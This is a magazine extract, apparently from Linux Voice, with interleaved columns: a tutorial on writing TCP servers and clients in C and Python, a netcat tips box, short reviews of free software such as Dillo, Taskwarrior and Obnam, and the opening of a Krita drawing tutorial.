 9 void service(int in, int out)                     complicated than you might think they                    when this happens the accept() call wakes
10 {                                                 should, but that’s because the API is                    up and returns a new file descriptor (fd)
11 char buffer[BUFSIZE];                             designed to support a wide variety of                    referencing the connection. At line 39 we call
12 int i, len;                                       protocols, not just TCP and IPV4.                        our little service() function, which actually
13 while ((len = read(in, buffer, BUFSIZE)) > 0)       The action starts at line 28, where our                carries out the conversation with the client,
14 {                                                 server creates a socket, requesting an                   then when this returns we’re careful to close
15 for (i = 0 ; i < len; i++)                        address family of AF_INET (which means                   the file descriptor. If we didn’t do this we
16     buffer[i] = toupper(buffer[i]);               that the socket will be identified by an IP              would consume a new descriptor for each
17 write(out, buffer, len);
18 }
19 }                                                   Try It Out – Create a concurrent server
20                                                     You can turn our iterative “upper case” server into    the one remaining Telnet client. The other two are
21 /* ---- Main program ---- */                        a concurrent server by forking a new child process     the children that were servicing the now-closed
22                                                     to deal with each client. Because child processes      Telnet sessions. Unfortunately, because their
23 void main()                                         inherit file descriptors from their parents, this is   parent isn’t waiting for them they have entered
                                                       rather easy. The schema looks like this:               the zombie state. (We discussed the formation of
24 {
                                                       #include <signal.h>                                    zombies in detail in LV004.) If you kill the original
25 int sock, fd, client_len;                           #include <stdlib.h>                                    parent (just type ^C in the window where you
26 struct sockaddr_in server, client;                  ....                                                   started it) the zombies will disappear. But this isn’t
27                                                     while(1) {                                             a satisfactory situation, because for a long-lived
28 sock = socket(AF_INET, SOCK_STREAM, 0);               fd = accept( ... );                                  server those zombies will eventually fill up the
                                                         if (fork() == 0) {                                   process table. Fortunately they’re easy to prevent.
29 server.sin_family = AF_INET;
                                                           service(fd, fd); /* Child */                       Just add the line:
30 server.sin_addr.s_addr = htonl(INADDR_ANY);             exit(0);                                           signal(SIGCHLD, SIG_IGN);
31 server.sin_port = htons(SERVER_PORT);                 }                                                    in main(), before the while loop. This will stop the
32 bind(sock, (struct sockaddr *)&server,                else {                                               zombies. You’ll also need an extra header file:
sizeof(server));                                           close(fd); /* Parent */                            #include <signal.h>
                                                       }                                                         You can download the completed code for the
33
                                                          To test, compile the program and run it as          concurrent server from the issue landing page on
34 listen(sock, 5);                                    before. Then open three or so terminal windows         www.linuxvoice.com.
35 while (1) {                                         and conduct a Telnet session with the server in           There’s another way to write a concurrent
36 client_len = sizeof(client);                        each of them, like we did before. Convince yourself    server, without using child processes, and that’s to
37 fd = accept(sock, (struct sockaddr *)&client,       that you are conducting a separate conversation        use the select() call. But the details are messy, and
                                                       with the server in each window. So far, so good.       we won’t consider it further here.
&client_len);
                                                       Now quit out of a couple of those Telnet sessions         When I first met concurrent servers, I didn’t
38 printf(“accepted connection on fd %d\n”, fd);       (leave one open) and look at the process table:        understand how it was possible to maintain
39 service(fd, fd);                                    $ ps -e | grep ucc                                     multiple client connections on the server, when
40 close(fd);                                          11760 pts/4 00:00:00 ucconcurrent                      they’re all using the same port. The answer is that
41 }                                                   11837 pts/4 00:00:00 ucconcurrent                      the TCP connection is really defined by four items:
                                                       11839 pts/4 00:00:00 ucconcurrent <defunct>            the port number and IP address of the server,
42 }
                                                       11858 pts/4 00:00:00 ucconcurrent <defunct>            and the port number and IP address of the client.
  I’ll not trouble you with the details of all the        Here, process 11760 is the original parent          Provided at least one of these four is different, it’s
data structures; some of them (like the                process and 11837 is a child that’s connected to       a different connection!
sockaddr_in structure) look more



66                                                                  www.linuxvoice.com
                                                                                                                     CORETECHNOLOGY

client that connects and would eventually
run out. Then we simply loop back and await        “Once they are connected, the client and server are
the next client.                                   really just ‘peers’, and the application protocol will
   The service() function at lines 9–19 is
really just symbolic of providing a real, useful   determine the exchange from then on.”
service. The key points to note are that we
read a request from the client using the           #!/usr/bin/python                                  connection-oriented transport on top of an
descriptor returned by the accept(), and           from socket import *                               unreliable connectionless one (IP). But there
write a response using the same descriptor.        s = socket(AF_INET, SOCK_STREAM)                   are some things TCP doesn’t do. For one
Also notice the loop control at line 13. Each      s.connect((‘localhost’, 1067))                     thing, it doesn’t preserve message
read() will block until the client sends           s.send(‘Hello World’)                              boundaries. If a client opens a connection
another request; when the client eventually        reply = s.recv(1000)                               and writes, say, 300 bytes then 50 bytes
closes the connection this read will return 0,     print reply                                        then 100 bytes down the connection, the
and the loop terminates.                              Just as in the server we begin by creating      server will simply find that it has 450 bytes
   The accept() call on line 37 also returns a     a stream (TCP) socket using the ‘INET’             waiting to be read. Usually, it’s left to the
sockaddr_in structure (called ‘client’ in the      address family. Then, we actively connect to       application protocol to make it clear where
code) that contains (among other things)           the server at port 1067. Once the socket is        the message boundaries lie.
the IP address of the client end of the            connected, we can send a request to it, and
connection. We don’t use it in this example,       read the reply. We see here the key                It’s a privilege
but many real-world servers use this               distinction between the client and the server:     There’s an important rule in the Linux world
information for logging or access control.         the server passively listens for and accepts       that says ports below 1024 are “privileged”
   This is a simple iterative server – it talks    connections; the client actively connects.         -- that is, a program can only bind a
to just one client at a time and any other that       Notice that we don’t explicitly bind a port     privileged port if it’s running as root. This rule
try to connect in the meantime will have to        number for the client; the system will bind        goes back many years and probably
wait. The first five will have their connection    an (arbitrary) port for it to use. Once they are   seemed like a good idea at the time,
requests placed on the queue we created;           connected, the client and server are really        because in theory it prevents regular
any beyond that will have their connections        just ‘peers’, and the application protocol will    (non-root) users from masquerading as
refused. However, it is not difficult to turn      determine the exchange from then on.               bona-fide servers and capturing sensitive
this into a concurrent server.                     Typically the client transmits first (some sort    login information.
                                                   of request) and the server returns a reply.            Nowadays when many users have root
What about the client?                             For some services the server will transmit         access to their PCs the rule makes very little
We can use a program such as nc (or even           first, for example the old Daytime server on       sense, and forces servers to run as root
Telnet) as a client to test our upper-case         port 13 (which nobody runs any more)               simply so that they can bind their well-
server, but for completeness’ sake let’s write     works like that – you just connect to it and it    known privileged port. A well-written server
a client program, too. I can’t bring myself to     sends you a string. TCP is a wonderful             will drop its user ID to a non-root account as
inflict more C on you, so this one’s in Python:    protocol, providing the illusion of a reliable,    soon as it’s got the port bound.




Command of the month: netcat
Netcat (also known as nc) has been                   Now we can browse to port 8080 and               loop around it like this:
described as the Swiss Army knife of               see the content. Of course, it’s not a real        $ while true; do nc -l 8080 < somecontent.html; done
networking commands. You can use it to             web server so we don’t get a proper HTTP             Now here’s a challenge for you: I
create simple TCP or UDP clients or servers,       response header back, but the browser              attempted to use nc in conjunction with tr
and it’s designed to be easy to script around.     doesn’t seem to mind. Also useful is the           and a named pipe to cobble together an
We’ve already seen it in use as a client to        standard output from nc, which shows us            equivalent to the upper case server at the
test our upper case server. Because it acts        the actual HTTP request from the browser           command line. Following a very similar
as a filter, reading stdin and writing stdout      (somewhat trimmed here):                           example in the man page, I tried:
like filters usually do, we can perform all the    $ nc -l 8080 < greet2                              $ mkfifo /tmp/f
usual tricks of redirecting the streams. Here,     GET / HTTP/1.1                                     $ cat /tmp/f | tr ‘a-z’ ‘A-Z’ | nc -l localhost 1234 > /
we pass the contents of a local file greet to      Host: localhost:8080                               tmp/f
our server and capture the result in greet2:       Connection: keep-alive                                ... then on the “client” side I ran:
$ nc < greet localhost 1067 > greet2               Cache-Control: max-age=0                           $ nc localhost 1234
  Using the -l (listen) option, you can also       Accept: text/html,application/xhtml+xml               I can enter text, but then the whole thing
cast nc in a server role. Here it is, being the    User-Agent: Mozilla/5.0                            hangs. If you can figure out why this doesn’t
world’s most boring web server, delivering           Of course it’s a one-shot affair; nc will        work (and especially if you can fix it) drop
the same file every time:                          terminate after serving the page once. But         me a line at drchrisbrown@linuxvoice.com.
$ nc -l 8080 < somecontent.html                    with a bit of shell scripting we can wrap a        I’d be delighted to hear from you!



                                                                www.linuxvoice.com                                                                               67
     FOSSPICKS




FOSSpicks                                                                                           Sparkling gems and new
                                                                                                    releases from the world of
                                                                                                    Free and Open Source Software

             Mike Saunders has spent a decade mining the internet for free
             software treasures. Here’s the result of his latest haul…
Lightweight web browser


Dillo 3.0.4
F
        irefox, Chrome, Internet         FLTK toolkit, so once you have the
        Explorer, Safari… They’re all    development packages for that
        classed as “web browsers”,       installed, you can build it with the
but a more apt description               usual ./configure, make and sudo
nowadays would be “application           make install routine.
platforms”. The amount of code
being pushed into browsers for           Back to basics
things like 3D graphics, PDF             Dillo doesn’t support a lot of web
rendering, video codec support and       technologies – there’s no
other features is impressive (and        JavaScript, for instance. That might
sometimes scary) – and we’re             be a dealbreaker for some people,
increasingly running applications        but we know that plenty of our
and games inside our browsers.           readers use the NoScript extension
   In some ways this is great, but       to block random JavaScript from
what if you just want a stripped-        being executed on their machines.        There’s also a panel showing errors in a page – useful for
down web browser? You know,              And many would argue that a site         checking your HTML before you make it live.
something that renders HTML              that doesn’t work unless JavaScript
pages and doesn’t try to support         is enabled is broken by design –                                        So while Dillo doesn’t work
everything including the kitchen         sites should really adapt for older or                                everywhere, it still has the basics
sink? There are a few options here,      more limited browsers.                                                covered, and handles most HTML
and one of our favourites is the                                                                               and CSS pretty well. If you do a lot
classic browser Dillo, which has just
seen a new release.
                                         “If you do a lot of browsing on                                       of browsing on text-heavy websites,
                                                                                                               you’ll find it scorchingly fast – for
   Dillo is designed to be slim and      text-heavy websites, you’ll find                                      instance, loading the Wikipedia
fast, with few dependencies; its
interface is built with the frill-free
                                         Dillo scorchingly fast.”                                              page for Linux on Dillo took less
                                                                                                               than a second in our testing,
                                                                                                               whereas Firefox took just over three
                                                                                                               seconds before it finished rendering.
                                                                                                                 OK, so Firefox does a lot more,
                                                                                                               but these time savings all add up
                                                                                                               over an extensive browsing session.
                                                                                                               And then there’s the memory
                                                                                                               usage: Firefox required 148MB with
                                                                                                               just that single Wikipedia article
                                                                                                               open, whereas Dillo only snapped
                                                                                                               up 20MB from the RAM banks.
                                                                                                                 Dillo is no challenger to the big
                                                                                                               browsers, but we love it that there’s
                                                                                                               a browser out there fully focused on
                                                                                                               being light and fast, getting the
                                                                                  Dillo’s page rendering       most out of older machines.
                                                                                  isn’t always perfect, but
                                                                                                                PROJECT WEBSITE
                                                                                  boy is it fast, and great     www.dillo.org
                                                                                  for reviving old boxes.


68                                                            www.linuxvoice.com
                                                                                                                                                  FOSSPICKS


Task management tool


Taskwarrior 2.3.0
W
             ith your work, hobbies,               called “Write FOSSpicks”. If you
             family life and other                 then enter task list, you’ll see the
             things, you probably                  newly created task – try adding a
have a sizeable to-do list as well.                few more tasks with different dates
Installing a task management tool                  and priorities. When you enter task
could really help you to get on top                list again you’ll see a number at the
of things – it makes all the                       start of each task; you can use
difference for us. Various programs                these to perform operations on
exist, but we’re always happy when                 individual tasks, such as:
we find one that avoids fluffy GUI                 task 3 delete
front-ends and gets down to the
heart of the matter.                               Groundhog day
   Taskwarrior is exactly that: it’s a             To create a recurring task, specify
supremely configurable command-                    the date and how often it should
line program that focuses on                       happen like so:
managing your to-do list. Entries                  task add due:1st recur:monthly Stock up
                                                                                                  Although it’s a CLI app,
can be supplemented with                           on beer                                                                      the colour scheme looks rubbish,
                                                                                                  Taskwarrior makes good
priorities, projects, due dates and                  This creates a task on the 1st of            use of colour to present      edit ~/.taskrc and uncomment one
recurrences (eg the task should be                 every month. Now, once you have                information clearly and       of the theme lines – light-16.theme
completed once a month). As it’s a                 your to-do list fully inputted, you’ll         attractively.                 worked best for us.)
text-based program, its                            want a way to filter down certain                                               As time goes on and you
dependencies are minimal; on our                   tasks. For instance, you can list only                                       complete more and more of your
vanilla Ubuntu 13.10 test box we                   high-priority tasks like so:                                                 tasks, you can bring up some other
only had to install the uuid-dev                   task priority:H list                                                         useful views. The task burndown
package in order to follow the                        (Or try task next to put the most                                         command displays a bar chart
instructions in the INSTALL file.                  important tasks first.) Another                                              showing tasks you’ve started and
   Once you have Taskwarrior                       useful command is task calendar,                                             completed over the previous weeks,
installed, enter task alone – this will            which shows an attractive coloured                                           and you can change that to a daily
create a sample .taskrc file in your               view of the next few months, with                                            view with task burndown.daily.
home directory, along with a .task/                upcoming tasks marked in red. (If                                               We’ve only just scratched the
data directory in the same place. To                                                                                            surface of Taskwarrior here: enter
get started:
task add priority:H due:2014-07-10 Write
                                                   “The ‘task burndown’ command                                                 man task to see the vast range of
                                                                                                                                options available.
FOSSpicks                                          displays a bar chart showing tasks
  Here, we’re adding a new task
with high priority, due on 10 July,
                                                   you’ve started and completed.”                                                PROJECT WEBSITE
                                                                                                                                 www.taskwarrior.org




How it works: Adding tasks to projects




  1 Create a project                                            2 Modify tasks                                         3 Filter tasks
       To lump tasks together in projects, first create             To add existing tasks to projects, use the              To display tasks that belong to a single project,
a task with the project:Name option. If that project          modify command. Here we’ve done task 1 modify          use task list project:Name. task projects shows all
doesn’t yet exist in Taskwarrior, it will be created.         project:LinuxVoice, then run task list.                projects in Taskwarrior’s database.



                                                                           www.linuxvoice.com                                                                              69
     FOSSPICKS


Database-less blogging platform


FlatPress 1.0.2
W
            ordPress isn’t the                Next, the installer prompts you to
            hardest thing in the            create a login account, and then
            world to install, but           shows you the front page for your
sometimes you just want to set up           brand-new blog. The default theme
a simple blog or CMS without the            isn’t especially attractive and has
hassle of databases and related             an early-2000s look to it – but there
bits and bobs. FlatPress is designed        are many extra themes at http://
for exactly these situations: its           wiki.flatpress.org/res:themes,
authors brag that you can “forget           some of which are superb.
about SQL”, because all you need is           FlatPress’s admin area is where
a web server with PHP support.              you add, modify and delete entries,
                                                                                         To install a new theme,
Extract the .tar.gz file into your          and it also sports an impressive                                        modify the layout of the blog (eg
                                                                                         just extract it in
document root, then access                  plugin system for adding things like         fp-interface/themes/.      where the search box and
http://localhost/flatpress/ in your         BBCode markup, image thumbnails              This is Deckay40.          categories list go) by dragging and
browser, and you’re ready to go.            and spam filtering for comments.                                        dropping widgets – a surprisingly
   Well, almost. FlatPress saves            There’s no fancy WYSIWYG editor                                         advanced feature for a lightweight
your blog entries as plain text files,      for creating entries, just a few                                        engine. And making a backup of the
so it needs to be able to write these       buttons providing shortcuts for                                         blog or moving it to another server
on the server. You’re required to           various formatting options, so it’s                                     is super-simple, thanks to the lack
make the fp-content directory               not designed with complete                                              of a database, as you can simply zip
writable by the user account for the        newbies in mind.                                                        up or copy the directory.
web server, but that’s pretty much it         Along with normal entries you
in terms of fiddling around at the          can create static pages to appear in                                     PROJECT WEBSITE
                                                                                                                     www.flatpress.org
command line.                               the menu. Excellently, you can


Backup tool


Obnam 1.8
W
             hat’s the single most          that zero bytes are saved. How
             important piece of             come? Well, Obnam only saves
             advice you can give to         chunks of data that have changed
new computer users? “Nigerian               – so it doesn’t waste space by
princes are not going to send you           copying every file in each backup. If
$500,000” might come top of the             you make a daily backup of your
list. Apart from that, the answer is:       data but don’t add or change many
make backups.                               files over a month, the backup
                                                                                         The highlighted section
   Obnam is a great command line            repository won’t be much bigger                                         that you’ve backed up, then enter
                                                                                         shows generations of
tool for making backups, and has a          than the original. To restore a file:        backups, and “latest” is   mkir tmp
few nifty tricks up its sleeve. It’s        obnam restore --to /restore/to/here /path/   always symlinked to the    obnam mount --to tmp
easy to build from source, or if            to/restore                                   newest one.                Now go into tmp and you’ll see
you’re running a .deb-based distro,            The repository where Obnam                                           numbered directories: these are
you can add a repository to get it          stores its backups isn’t meant to be                                    different generations of backups.
with a quick apt-get. Making a              human readable. But you can look                                        Obnam has commands for
backup is as simple as this:                at generations of backups using the                                     removing old generations, leaving,
obnam backup -r /path/to/backups /dir/to/   FUSE userspace filesystem driver.                                       for instance, one per week for the
save                                        Use cd to switch into the directory                                     last year behind. It can also back up
   Here, Obnam generates a data                                                                                     data via SFTP and supports
repository in /path/to/backups,
saving the contents of /dir/to/save.
                                            “Obnam only changes chunks of                                           encryption via GnuPG.

If you run the above command                data that have changed.”                                                 PROJECT WEBSITE
                                                                                                                     www.obnam.org
once again, you’ll see in the output



70                                                                  www.linuxvoice.com
                                                                                                                                 FOSSPICKS


Text editor


NE 2.5
D
          oes the world really need      for online help, tap Esc twice. You’ll
          another text editor? We        see that the menus are chock full of
          have Vim, Emacs, Nano,         features and options, and many of
Gedit, Kate, Sublime Text, Joe and       them have associated keybindings
countless others, covering virtually     that you can learn for faster editing
every type of user on the planet.        over time.
   Where NE excels, however, is in         NE comes equipped with a
combining high-end features with         boatload of features: syntax
newbie-friendly keybindings and          highlighting for 46 languages; a
menus. It has the approachability of     macro/scripting system for
Nano but with much more                  recording and playing back editing
                                                                                   NE’s learning curve is
functionality behind it. Another goal    actions; unlimited undo/redo;             much more gradual than          In all, NE is a mightily impressive
of NE is to be small and highly          search and replace with regular           Vim’s or Emacs’s, but it     editor. As decade-long Linux geeks
portable, so it will run on almost       expressions; UTF-8 support; and a         still has oodles of useful   we always recommend mastering
every Unix/POSIX-like system             simple visual file browser. One           features.                    Vim or Emacs, but we understand
(although to be fair, Vi already has     particularly useful addition for                                       that some people simply don’t get
that claim to fame).                     programmers is bracket matching,                                       along with the modal editing or key
   When you first launch NE, you’ll      so you can see if you’ve properly                                      combinations of those editors. So
see a status line along the bottom       closed a block of code.                                                NE has become our number 3
with information about the current                                                                              recommendation now - let us know
file (line and column count, filename                                                                           if you become a fan!
and so forth). Hit F1 to bring up the    “NE combines high-end features
menu – or if your window manager
or terminal emulator intercepts F1
                                         with newbie-friendly keybindings.”                                      PROJECT WEBSITE
                                                                                                                 http://ne.di.unimi.it




Free Flash Player alternative



Lightspark 0.7.2
P
        icture this: it’s the late       bug-infested binary blob. But many
        2000s. You’re Adobe. Your        sites still use Flash, and Lightspark
        Flash Player is installed on     is an open source player and
almost every computer around the         browser plugin that aims to provide
world, and provides a fairly light and   a replacement for Adobe’s program.
unintrusive way for people to watch      To compile it you’ll need LLVM/
videos and play games in their           Clang – or if you’re on an Ubuntu-
browsers. The HTML5 features that        based distro, a PPA is available.
will supersede Flash are a long way
off, and you enjoy a very strong         Free the kittens!
                                                                                   Want to jump to a later
position. That was a long time ago.      The main focus for Lightspark is                                       combination with the pause button.
                                                                                   part of the video?
   Adobe bloated the player to the       YouTube compatibility, and it works       Thumbnails of scenes         We tried Lightspark with various
extreme – it became increasingly         fairly well there. We had to edit /etc/   appear, but moving           Flash games and it didn’t hold up
fat and buggy, crashing browsers         xdg/lightspark.conf and change the        around didn’t work well      especially well. But in fairness, it’s
and generally being a nuisance. And      audio backend from “pulseaudio” to        in our testing.              not at 1.0 yet, and if you want to
in a shockingly stupid move, Adobe       “sdl” to get sound, but otherwise                                      keep your Linux box pure FOSS but
decided to bundle McAfee nagware         most videos played without any                                         still enjoy the odd YouTube cat
with the program on Windows, so          major glitches. The main problem                                       compilation video, it bridges the
Flash became universally despised.       we encountered was with jumping                                        gap until all videos on that site are
   Today, most features of Flash are     around inside videos: trying to get                                    HTML5-ready.
available in the HTML specs, so you      to a later part of a long video was
can play games and watch many            an exercise in frustration, only                                        PROJECT WEBSITE
                                                                                                                 http://lightspark.github.io
video formats without that ugly          occasionally working in



                                                               www.linuxvoice.com                                                                  71
     FOSSPICKS


CPU reporting tool


i7z 0.27.2
S
        o you’ve just bought a shiny    information about your CPU, and
        new desktop or laptop with a    then displays a constantly updating
        high-end Intel Core i7 chip.    screen. In this screen you’ll see
You’ve installed your favourite Linux   general statistics for the processor
distro and are going about your         (frequency, number of cores,
usual business. Everything is faster    whether Hyper-Threading is
than your old box, that’s for sure      enabled etc.), and then for each
– but don’t you want to coo over        core, the actual frequency at this
your snazzy new processor a bit         very moment.
more? Just admire its                      You can also see how much time
awesomeness without doing               (as a percentage) each core spends
                                                                                i7z provides short but
anything specifically productive?       in the various Cx power saving                                     writes the data to a file. This can be
                                                                                handy descriptions of
   i7z is a CPU reporting tool for      states, along with temperature          the Cx power saving        useful for performing diagnostics
these chips, although it also works     information. Unlike top, there’s        states along the bottom.   over a longer period of time.
with i3 and i5 processors. While it’s   nothing in the way of interactivity                                  It’s also worth noting that the
not especially difficult to compile     here – the only key combo that                                     source code includes a Qt-based
from source code, the developers        does anything is Ctrl+C to exit.                                   GUI front end for i7z, but the
have made 32-bit and 64-bit static         Along with the full-screen mode,                                developers stress that the code is
binaries available on the project’s     there’s also a logging option, which                               suffering from bit-rot now and it’s
website, which work without any                                                                            lacking many features of the
hitches (providing you don’t mind                                                                          command-line version.
running pre-compiled binaries).         “i7z is a CPU reporting tool for
   To get the most out of i7z, run it
as root; it gathers various bits of
                                        Intel’s high-end Core i7 chips.”                                    PROJECT WEBSITE
                                                                                                            http://code.google.com/p/i7z/




Bandwidth monitor


Bmon 3.3
A
         s part of the everyday         packages installed; then run
         tabs-keeping of an average     ./autogen.sh, ./configure and
         system administrator (or       make. If it compiles successfully,
even just a regular user with more      run make install as root, and finally
than one machine running), you          bmon to start the program.
may have applications chugging
away to monitor your disk space         Network information
and CPU usage. Perhaps they’re in       Along the top you’ll see a list of
a corner of the screen, so you can      network interfaces, while the middle
flick your eyes up and check that       panel is where all the action takes
the server isn’t being overloaded.      place: the auto-updating bar charts
                                                                                Bmon updates its graphs
   If you want to do the same thing     (RX = received data, TX =                                          packets and IPv6 statistics. One
                                                                                every second by default,
for network bandwidth – eg you’ve       transmitted). Try doing something       but you can change that    feature we’d like to see, though, is a
put a new web server online and         bandwidth-intensive on the              with a CLI option.         warning system: it’d be great if the
want to make sure it’s not getting      machine, and you’ll see the charts                                 tool could colour the bar charts in
overstretched – then Bmon is a          update accordingly. This alone is                                  red if the bandwidth exceeds a
great solution. It shows bandwidth      useful enough, making load spikes                                  certain value over a certain period
consumption at a glance,                easy to spot, but if you stretch out                               of time, for instance. Time to get
generating simple ASCII graphs          the terminal window to provide                                     cracking on a patch then…
that are updated in real time.          plenty of space and hit the D key,
   To install it on a Debian/           you’ll see lots of additional info.
                                                                                                            PROJECT WEBSITE
Ubuntu-based distro you’ll need the        This is useful for diagnostics,
                                                                                                            https://github.com/tgraf/bmon
libnl-3-dev and libnl-route-3-dev       showing things like dropped



72                                                           www.linuxvoice.com
                                                                                                                                 FOSSPICKS


  FOSSPICKS Brain Relaxers
https://launchpad.net/pybik/
 Physics-happy motobike sim


 XMoto 0.5.11
 X
          Moto is one of our             brake, while the left and right keys
          favourite open source          shift the rider’s weight on the bike,
          games of all time, partly      causing him to lean forward or
 because it brings back some             back. This also lets you perform
 fond memories of playing                rotations in the air, if you have the
 Kickstart 2 on the Speccy, but          guts to do it…
 also because it’s simply damn              By far the best part of XMoto is
 good. At its heart, XMoto is a          its raft of online features. The game
 side-scrolling racing game where        can download hundreds of
 your objective is to reach the goal     player-created levels from the net,
 in the quickest time possible –         and then you can try to beat the
                                                                                   The light blue rider is the
 nothing special there.                  best times. But you’re not just                                         wacky manoeuvres. It’s all superb
                                                                                   “ghost” from the previous
    Where this game is special,          racing against the clock: there’s a       record holder - seems a       fun, though, and the vast range of
 though, is in its physics. Keeping      translucent “ghost” rider showing         dangerous stunt he’s          courses to play on will keep you
 your balance is tricky business,        how the record holder completed           pulling off though...         entertained for ages. You can
 especially when you have ramps,         the track, so you can compare your                                      even create your own levels using
 slopes and other obstacles to           riding skills with it and end up with                                   Inkscape – a great use of
 deal with, and trying to land           some nail-bitingly close finishes.                                      another top-quality open source/
 properly off a big jump, when              Some of the levels reward                                            Free Software application.
 you’re spinning through the air, is     general racing skills, whereas
 tough. The up and down cursor           others are downright crazy and                                           PROJECT WEBSITE
                                                                                                                  http://xmoto.tuxfamily.org
 keys are used to accelerate and         require you to perform all manner of




 Sliding block puzzle



 n2048 0.1
 E
          asy to play, yet endlessly     thing you need to compile is is the
          addictive. Tetris is perhaps   libncurses5-dev package (under
          the best puzzle game in        Debian and Ubuntu; other distros
 history, but a few others have          will have similarly named
 popped up over the years, and at        packages). Extract the tarball, enter
 the moment a game called 2048           make, and then run the game in
 is all the rage. It’s incredibly easy   place with ./n2048.
 to pick up: you slide numbered             Although the README.txt file
 tiles on a grid to combine              says that you can use the arrow
 matching ones, the goal being to        keys to slide tiles around, they didn’t
 eventually create a tile with the       work properly for us – but
                                                                                   As you combine
 number 2048. Sounds easy? It            fortunately you can also use the                                        your coffee break, yet it’s
                                                                                   matching tiles to make
 seems so at the start, but it gets      WASD combination (as in a                 larger numbers, new tiles     addictive enough to keep you
 darn tough later on.                    first-person shooter), or even better,    (starting with 2) appear      coming back. It also has that
    Anyway, although 2048 is free        the HJKL keys in true Vi fashion.         on the screen.                Tetris effect where, after an
 to play in a web browser (http://       There’s little in the way of fancy                                      especially long bout of playing,
 gabrielecirulli.github.io/2048), it     graphics or effects here, but the use                                   you start seeing tiles when you
 didn’t take long for some open          of colours for differing tile values                                    close your eyes.
 source clones to appear. n2048          makes the game easy on the eyes.
 runs in a terminal using Ncurses           n2048 is one of those games you                                       PROJECT WEBSITE
                                                                                                                  www.dettus.net/n2048/
 for the interface – so the only         can pick up for a quick session in




                                                               www.linuxvoice.com                                                                   73
     SUBSCRIBE



                    YOUR AD
                   HERE
            Email andrew@linuxvoice.com to advertise here

                   LISTEN TO THE PODCAST



                    WWW.LINUXVOICE.COM




72                           www.linuxvoice.com
                                                                                                                             TUTORIALS INTRO




                                                 TUTORIALS
                                                 Dip your toe into a pool full of Linux knowledge with eight
                                                 tutorials lovingly crafted to expand your Linux consciousness


                                                  In this issue…
                                                     76                                       78                                 82



Ben Everard
is trying to pack up his hardware workbench in
preparation to move house.

                                                  Paint with Krita                        Build a quiz                        Run Tor

I
     ssue 6 – wow! It’s hard to believe           LV’s Artist in residence,               Les Pounder builds a game           Set up and maintain a
     that Linux Voice is already half a           Graham Morrison, swaps                  that shows off the power            Tor node to help make a
     year old, but so much has happened           his brushes and pallet for              of EasyGUI and the ifs and          safe space on the internet
since the Indiegogo campaign. In that             a computer and draws                    ands of Python conditional          for anyone who needs it,
time, we’ve accomplished part of what             famous geeks in Krita.                  statements.                         including Ben Everard.
we set out to: create a brilliant Linux
magazine. However, we also want to
help support the FLOSS ecosystem.
                                                     86                                       90                                 98
This is partly driven by self interest (the
more awesome free software is, the
more people will use it, and the more
people who use it, the more people who
will buy our magazine), and partly by a
desire to do the right thing.
   Over the next six months, you’ll see
this plan really kick into action. We’re
                                                  Master packages Build a robot                                               Edit eBooks
now only a few weeks away from issue              Software comes in many                   Attack colleagues and              Marco Fioretti introduces
1 being released under a Creative                 shapes and sizes. Keep your              defend your desk in style.         Sigil, a tool for crafting
Commons licence. Once that happens,               programs in order with Mike              Ben Everard’s face-tracking        books in the ePub format
we hope that the Linux Voice content              Saunders’ guide to package               Nerf gun takes the effort          that works with all sorts
will reach a much wider audience. The             management.                              out of office warfare.             of e-readers.
only thing we do know is that by
releasing it as Creative Commons, we’ll
enable people to build on it, update it,          PROGRAMMING
and remix it in their own ways.
   Following on from that will be the end         Callbacks                                                Olde Code
of our first year, and that’ll be when we          102 Computer programs don’t always run one line         104    Alan Turing is one of the most famous people
                                                          after the next. Sometimes you need certain              in computing, but not all of his work is well
donate 50% of our profits to free
                                                  events to trigger certain code blocks, enabling you to   known. The Manchester Baby, which Turing worked
software causes. We’re still hammering            handle asynchronous input and output without tying       on, explored the use of cathode ray memory where
out the details of exactly how we’ll do           up the process while you wait for something to           data was stored in a dot on a screen similar to those
this, but stay tuned and we’ll have more          happen. Many programming languages allow you to          on old CRT TVs. This innovation allowed more
information in the coming months. If              use callbacks for this, but JavaScript makes it a        information to be saved and paved the way for the
you know of a cause you’d like us to              speciality. Node.js then brings this to the command      better-known Manchester Mark I. Turing wrote one of
                                                  line to help you build powerful servers and even         only three programs for the Manchester Baby – and
highlight drop me an email.                       hardware devices.                                        you can test his code for yourself.
ben@linuxvoice.com



                                                                    www.linuxvoice.com                                                                             75
        TUTORIAL KRITA



                                  KRITA: GET STARTED WITH
              TUTORIAL
                                  BRUSH MODES AND LAYERS
                                  You don’t have to be an artist to create (almost) credible results from
GRAHAM MORRISON
                                  this fantastic drawing application.


                                  D
                                            on’t worry, we’re not becoming a magazine
    WHY DO THIS?                            about art or drawing. But during the course of
    • Support an excellent                  writing this month’s FAQ on Krita (see page
      free software project
                                  38), we learnt quite a bit about how to work with this
    • Unleash your inner artist
                                  fantastic application. And we did this by attempting to
    • Create your very own
      Stallman portrait           draw Richard Stallman without any prior artistic
                                  knowledge and using just a mouse. We think this
                                  highlights some of the excellent drawing modes and
                                  tools in Krita, but most of all, the fun you can have
                                  messing around for a few hours. You might even find
                                  some artistic ability you never knew you had. Even if
                                                                                              We’re too scared of
                                  you don’t, it certainly helps take your mind off
                                                                                              Stallman’s opinion to
                                  programming and PulseAudio if things are getting a          send this to him.
                                  little stressful.


                                      Step by step: Create with Krita
                                  1
                                      Create the canvas                                      2
                                                                                                 Find your base image
                                  We’re using Krita 2.8, which you should find in your       We’re going to copy both the colour palette and the
                                  distribution’s repository – either as a standalone         overall image from a photo. We took ours from
                                  application or as part of KDE’s Calligra suite. When       Wikimedia – it was taken by NicoBZH and released
                                  you first launch the application, a dialog appears         under a Creative Commons licence. You need to
                                  asking you to create a document. This is where you         import your photo into a new layer. Krita’s layers are
                                  need to define the resolution and aspect ratio of the      identical to those you find in many art programs, and
                                  end result, as well as the colour mode.                    they enable you to draw one layer on top of another
                                     After clicking on Create, the main window will          layer, or for layers to process another layer while
                                  appear. The Docker panels that are attached to the         allowing transparent areas to show through.
                                  right-hand border can be moved and dropped onto               Krita enables you to import an image as a new layer
                                  one another, and enabled and disabled from the             by selecting Layer > New > Import Layer. But after
                                  Settings > Dockers window. Depending on the                doing this, there will be a disparity between your
                                  capabilities of your graphics hardware, we’d also          image size and the size and resolution of your canvas.
                                  highly recommend using OpenGL hardware                     To solve this, we need to scale the layer, and the
                                  acceleration for the canvas. This can be enabled by        easiest way to do this is using the Transform tool over
                                  selecting Settings > Configure Krita, clicking on the      on the left. With this selected you can Shift+drag one
                                  Display page and the OpenGL box. This will speed up        corner of the image to fill the largest area of your
                                  nearly all drawing operations.                             canvas (holding Shift keeps the proportions intact).




   76                                                             www.linuxvoice.com
